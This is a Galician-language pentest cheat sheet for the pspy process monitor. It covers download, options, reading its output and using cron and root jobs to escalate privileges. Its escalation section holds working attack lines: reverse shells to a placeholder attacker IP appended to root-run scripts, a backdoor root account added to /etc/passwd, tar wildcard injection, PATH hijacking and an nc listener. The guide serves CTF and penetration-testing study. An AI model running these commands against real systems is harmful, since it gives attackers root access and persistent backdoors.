Ir ao contido

pspy - Monitor de Procesos sen Privilexios Root

Descrición

Ferramenta para monitorizar procesos de Linux sen necesidade de permisos root. Permite ver comandos executados por outros usuarios, incluíndo cronjobs e procesos de root. Moi útil para detectar tarefas automatizadas explotables.

Descarga

# Descargar versión 64-bit
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

# Descargar versión 32-bit
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32

# Dar permisos
chmod +x pspy64

Sintaxe básica

./pspy64 [opcións]

Opcións principais

Opción Descrición
-p Mostrar comandos de procesos (activado por defecto)
-f Mostrar eventos do sistema de ficheiros
-i <ms> Intervalo de actualización en milisegundos (defecto: 100)
-d Mostrar comandos en procesos descendentes
-r Modo de logging relativo ao proceso pai

Exemplos de uso

# Execución básica (ver procesos)
./pspy64

# Ver procesos e eventos de ficheiros
./pspy64 -pf

# Con intervalo de actualización máis lento (reducir ruído)
./pspy64 -i 1000

# Filtrar saída en tempo real
./pspy64 | grep -i "cron"
./pspy64 | grep -i "root"
./pspy64 | grep -i ".sh"

Métodos de transferencia

# Desde servidor HTTP
python3 -m http.server 8000
wget http://IP_ATACANTE:8000/pspy64

# Descargar directamente desde GitHub
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64

# Mediante SCP
scp pspy64 usuario@IP_OBXECTIVO:/tmp/

# Mediante base64 (copiar/pegar)
# En atacante:
base64 -w0 pspy64
# En obxectivo:
echo "BASE64_STRING" | base64 -d > pspy64
chmod +x pspy64

Interpretación de resultados

Exemplo de saída

2024/11/15 10:30:45 CMD: UID=0    PID=12345  | /bin/bash /opt/backup.sh
2024/11/15 10:30:50 CMD: UID=0    PID=12346  | /usr/bin/python3 /root/cleanup.py
2024/11/15 10:31:00 CMD: UID=1000 PID=12347  | /usr/bin/wget http://internal.server/data

Elementos importantes

  • UID=0: Proceso executado como root (obxectivo principal)
  • PID: ID do proceso
  • Comando completo: Ruta e argumentos

Vectores de escalada comúns

1. Scripts executados por root con permisos escribibles

# pspy mostra:
# CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh

# Verificar permisos
ls -la /opt/backup.sh

# Se é escribible:
-rwxrwxrwx 1 root root 156 Nov 15 10:00 /opt/backup.sh

# Modificar o script
echo 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1' >> /opt/backup.sh

# Ou engadir usuario root
echo 'echo "hacker:x:0:0:root:/root:/bin/bash" >> /etc/passwd' >> /opt/backup.sh

2. Cronjobs con wildcards

# pspy mostra:
# CMD: UID=0 PID=5678 | /usr/bin/tar -czf /backup/backup.tar.gz *

# Explotar wildcard en tar (GTFOBins)
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1" > shell.sh
chmod +x shell.sh

3. Scripts que chaman a comandos sen ruta completa

# pspy mostra:
# CMD: UID=0 PID=9012 | python3 script.py

# Se o script usa comandos sen ruta completa:
# Crear un comando malicioso en PATH
echo '#!/bin/bash
bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1' > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH

4. Ficheiros temporais creados por root

# pspy mostra:
# CMD: UID=0 PID=3456 | /bin/cp /root/secret.txt /tmp/temp_file

# Monitorizamos /tmp e lemos antes que se borre
watch -n 0.1 'cat /tmp/temp_file 2>/dev/null'

5. Procesamiento de ficheiros en directorios escribibles

# pspy mostra:
# CMD: UID=0 PID=7890 | /usr/bin/python3 /opt/process.py /var/www/uploads/*

# Subir ficheiro malicioso a /var/www/uploads/
# Pode incluír:
# - Reverse shell
# - Command injection
# - Path traversal

Workflow de explotación

# 1. Executar pspy
./pspy64 -pf

# 2. Observar durante polo menos 5 minutos
# Moitos cronjobs executanse cada 1, 5 ou 15 minutos

# 3. Buscar patróns:
# - Procesos de root (UID=0)
# - Scripts en directorios escribibles
# - Comandos con wildcards
# - Procesamento de ficheiros user-controllable

# 4. Verificar permisos do script/ficheiro detectado
ls -la /ruta/ao/script.sh

# 5. Se é escribible ou exploitable:
# - Modificar o script
# - Explotar wildcard
# - Manipular PATH
# - Crear ficheiro malicioso

# 6. Esperar execución automática do proceso
# Configurar listener primeiro:
nc -lvnp 4444

# 7. Obter shell de root

Combinación con outras ferramentas

# Despois de identificar vectores con pspy:

# Verificar cronjobs manualmente
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# Verificar systemd timers
systemctl list-timers --all

# Buscar ficheiros escribibles
find / -writable -type f 2>/dev/null

# Verificar PATH
echo $PATH

Casos de uso específicos

Detectar comunicación interna

# pspy pode revelar:
# - Conexións a bases de datos con credenciais
# - APIs internas
# - Servizos non expostos externamente

Monitorizar actividade doutros usuarios

# Ver que comandos executa outro usuario
./pspy64 | grep "UID=1001"

Identificar servizos vulnerables

# Ver que servizos se reinician automaticamente
./pspy64 | grep -i "service\|systemctl"

Notas adicionais

  • pspy non require privilexios root - esta é a súa principal vantaxe
  • Usa syscalls de Linux para monitorizar procesos sen /proc
  • Pode xerar moita saída - filtrar con grep é recomendable
  • Executar durante polo menos 5-10 minutos para capturar cronjobs
  • Ideal para detectar tarefas automatizadas ocultas
  • Combinar con linpeas.sh para enumeración completa
  • Repository oficial: https://github.com/DominicBreuker/pspy
  • A versión 64-bit funciona na maioría de sistemas Linux modernos
  • Gardar saída nun ficheiro para análise posterior: ./pspy64 > pspy_output.txt
  • Truco: En CTFs, os cronjobs importantes adoitan executarse cada 1-5 minutos